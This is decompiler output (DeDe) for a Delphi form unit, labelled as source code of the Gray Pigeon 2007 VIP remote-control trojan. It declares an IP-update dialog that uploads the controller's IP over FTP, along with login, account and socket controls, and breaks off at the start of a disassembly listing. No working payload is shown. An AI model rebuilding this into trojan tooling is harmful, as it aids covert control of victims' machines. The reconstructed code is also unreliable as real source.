upip.pas

灰鸽子2007VIP版源码

unit UpIp;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls
type
  TUpIpDate=class(TForm)
    spDynamicSkinForm1: TspDynamicSkinForm;
    PageControl1: TspSkinPageControl;
    TabSheet1: TspSkinTabSheet;
    ImageList1: TImageList;
    spSkinPanel2: TspSkinPanel;
    Label2: TspSkinStdLabel;
    Label3: TspSkinStdLabel;
    Label4: TspSkinStdLabel;
    Label5: TspSkinStdLabel;
    Label6: TspSkinStdLabel;
    FTPAdder: TspSkinEdit;
    FTPPort: TspSkinEdit;
    FTPUser: TspSkinEdit;
    spSkinPanel1: TspSkinPanel;
    Label7: TspSkinStdLabel;
    IpFileEdit: TspSkinEdit;
    Label8: TspSkinStdLabel;
    IPAddEdit: TspSkinComboBox;
    RadioBox1: TspSkinCheckRadioBox;
    FtpButton1: TspSkinButton;
    FTPPass1: TspSkinPasswordEdit;
    FTPPass2: TspSkinPasswordEdit;
    TabSheet2: TspSkinTabSheet;
    spSkinStdLabel1: TspSkinStdLabel;
    Edit_User: TspSkinEdit;
    spSkinStdLabel2: TspSkinStdLabel;
    Edit_Psw: TspSkinPasswordEdit;
    spSkinStdLabel5: TspSkinStdLabel;
    ZYComboBox: TspSkinComboBox;
    LoginButton: TspSkinButton;
    IdHTTP2: TIdHTTP;
    IdFTP1: TIdFTP;
    SmButton1: TspSkinButton;
    VipCheckBox: TspSkinCheckRadioBox;
    spSkinStdLabel6: TspSkinStdLabel;
    ConTypeComboBox: TspSkinComboBox;
    Label1: TspSkinStdLabel;
    TabSheet8: TspSkinTabSheet;
    spSkinPageControl2: TspSkinPageControl;
    TabSheet6: TspSkinTabSheet;
    spSkinButton1: TspSkinButton;
    ScrollBar15: TspSkinScrollBar;
    Memo1: TspSkinMemo;
    spSkinPanel3: TspSkinPanel;
    CmdButton1: TspSkinButton;
    TabSheet5: TspSkinTabSheet;
    NameLabel: TspSkinStdLabel;
    PassLabel: TspSkinStdLabel;
    spSkinStdLabel7: TspSkinStdLabel;
    spSkinStdLabel8: TspSkinStdLabel;
    UserEdit: TspSkinEdit;
    PassEdit: TspSkinPasswordEdit;
    Button1: TspSkinButton;
    NewPassEdit1: TspSkinPasswordEdit;
    NewPassEdit2: TspSkinPasswordEdit;
    TabSheet4: TspSkinTabSheet;
    spSkinGroupBox1: TspSkinGroupBox;
    spSkinStdLabel9: TspSkinStdLabel;
    spSkinStdLabel10: TspSkinStdLabel;
    spSkinStdLabel11: TspSkinStdLabel;
    NumEdit: TspSkinEdit;
    UsernameEdit2: TspSkinEdit;
    NewPassEdit: TspSkinEdit;
    SpButton2: TspSkinButton;
    spSkinGroupBox2: TspSkinGroupBox;
    spSkinStdLabel12: TspSkinStdLabel;
    spSkinStdLabel13: TspSkinStdLabel;
    MailEdit: TspSkinEdit;
    UsernameEdit: TspSkinEdit;
    SPButton: TspSkinButton;
    spSkinPanel4: TspSkinPanel;
    spSkinStdLabel14: TspSkinStdLabel;
    UserEdit2: TspSkinEdit;
    spSkinStdLabel15: TspSkinStdLabel;
    PasswordEdit2: TspSkinPasswordEdit;
    ClientSocket1: TClientSocket;
    UpServerRadioBox: TspSkinCheckRadioBox;
    lbl1: TLabel;
    lbl2: TLabel;
    lbl3: TLabel;
    spSkinButton2: TspSkinButton;
    procedure FtpButton1Click(Sender : TObject);
    procedure RadioBox1Click(Sender : TObject);
    procedure LoginButtonClick(Sender : TObject);
    procedure IdFTP1Status(Sender : TObject);
    procedure SmButton1Click(Sender : TObject);
    procedure FormCloseQuery(Sender : TObject);
    procedure Edit_UserChange(Sender : TObject);
    procedure Edit_PswChange(Sender : TObject);
    procedure VipCheckBoxClick(Sender : TObject);
    procedure FormShow(Sender : TObject);
    procedure CmdButton1Click(Sender : TObject);
    procedure FormCreate(Sender : TObject);
    procedure Button1Click(Sender : TObject);
    procedure SPButtonClick(Sender : TObject);
    procedure SpButton2Click(Sender : TObject);
    procedure ClientSocket1Read(Sender : TObject);
    procedure ClientSocket1Error(Sender : TObject);
    procedure UpServerRadioBoxClick(Sender : TObject);
    procedure ClientSocket1Disconnect(Sender : TObject);
    procedure Edit_UserKeyPress(Sender : TObject);
    procedure UserEdit2KeyPress(Sender : TObject);
    procedure spSkinButton2Click(Sender : TObject);
    procedure _PROC_0057C550(Sender : TObject);
    procedure _PROC_0057C6AF(Sender : TObject);
    procedure _PROC_0057C6BC(Sender : TObject);
    procedure _PROC_0057C85D(Sender : TObject);
    procedure _PROC_0057C8CC(Sender : TObject);
    procedure _PROC_0057C8F4(Sender : TObject);
    procedure _PROC_0057D1EC(Sender : TObject);
    procedure _PROC_0057D361(Sender : TObject);
    procedure _PROC_0057D520(Sender : TObject);
    procedure _PROC_0057ECC9(Sender : TObject);
    procedure _PROC_0057ECF8(Sender : TObject);
    procedure _PROC_0057ED00(Sender : TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;

var
  UpIpDate: TUpIpDate;

{This file is generated by DeDe Ver 3.50.02 Copyright (c) 1999-2002 DaFixer}

implementation

{$R *.DFM}

procedure TUpIpDate.FtpButton1Click(Sender : TObject);
begin
(*
0057C1A0   55                     push    ebp
0057C1A1   8BEC                   mov     ebp, esp
0057C1A3   33C9                   xor     ecx, ecx
0057C1A5   51                     push    ecx
0057C1A6   51                     push    ecx
0057C1A7   51                     push    ecx
0057C1A8   51                     push    ecx
0057C1A9   53                     push    ebx
0057C1AA   8BD8                   mov     ebx, eax
0057C1AC   33C0                   xor     eax, eax
0057C1AE   55                     push    ebp

* Possible String Reference to: '辄